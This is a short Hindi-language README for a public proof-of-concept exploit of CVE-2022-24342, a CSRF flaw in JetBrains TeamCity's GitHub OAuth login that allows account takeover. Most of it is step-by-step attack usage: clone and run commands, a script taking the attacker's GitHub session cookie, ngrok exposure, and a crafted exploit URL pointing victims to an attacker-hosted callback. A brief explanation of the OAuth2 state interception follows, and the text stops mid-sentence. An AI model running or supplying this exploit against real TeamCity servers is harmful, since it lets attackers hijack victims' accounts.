
PoC for CVE-2022-24342: GitHub प्रमाणीकरण में CSRF के माध्यम से खाता अधिग्रहण
JetBrains TeamCity - GitHub प्रमाणीकरण में CSRF के माध्यम से खाता अधिग्रहण (PoC)
लक्षित TeamCity इंस्टेंस में हमलावर के GitHub खाते से लॉगिन करने का प्रयास करें ताकि TeamCity का GitHub एप्लिकेशन अधिकृत हो सके।
इंस्टॉल करें और चलाएँ:
$ git clone https://github.com/yuriisanin/CVE-2022-24342
$ cd CVE-2022-24342/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h
usage: exploit.py [-h] -s S [-p P]
optional arguments:
-h, --help show this help message and exit
-s S GitHub user session
-p P Uvicorn port
$ python3 exploit.py -s {attackers_github_session_cookie}
यदि आप एक्सप्लॉइट को लोकल मशीन पर चलाते हैं, तो आपको Ngrok या विकल्पों का उपयोग करने की आवश्यकता हो सकती है।
$ ngrok http 8000
homepage: "http://{exploit-host}:8000"
authorization callback url: "http://{exploit-host}:8000/callback"
http://{exploit-host}:8000/exploit?target_host=http://{target-host}&gh_client_id={github_oauth_client_id}
डेमो:
TeamCity, OAuth2 फ़्लो के दौरान क्वेरी पैरामीटर इंजेक्शन के प्रति संवेदनशील था, जिससे एक हमलावर उपयोगकर्ता को किसी भी GitHub OAuth2 एप्लिकेशन में रीडायरेक्ट कर सकता था, एक वैध state पैरामीटर को इंटरसेप्ट कर सकता था, और पीड़ित के TeamCity खाते में किसी भी GitHub खाते को कनेक्ट कर सकता था।
यह निम्नलिखित कारणों से संभव था:

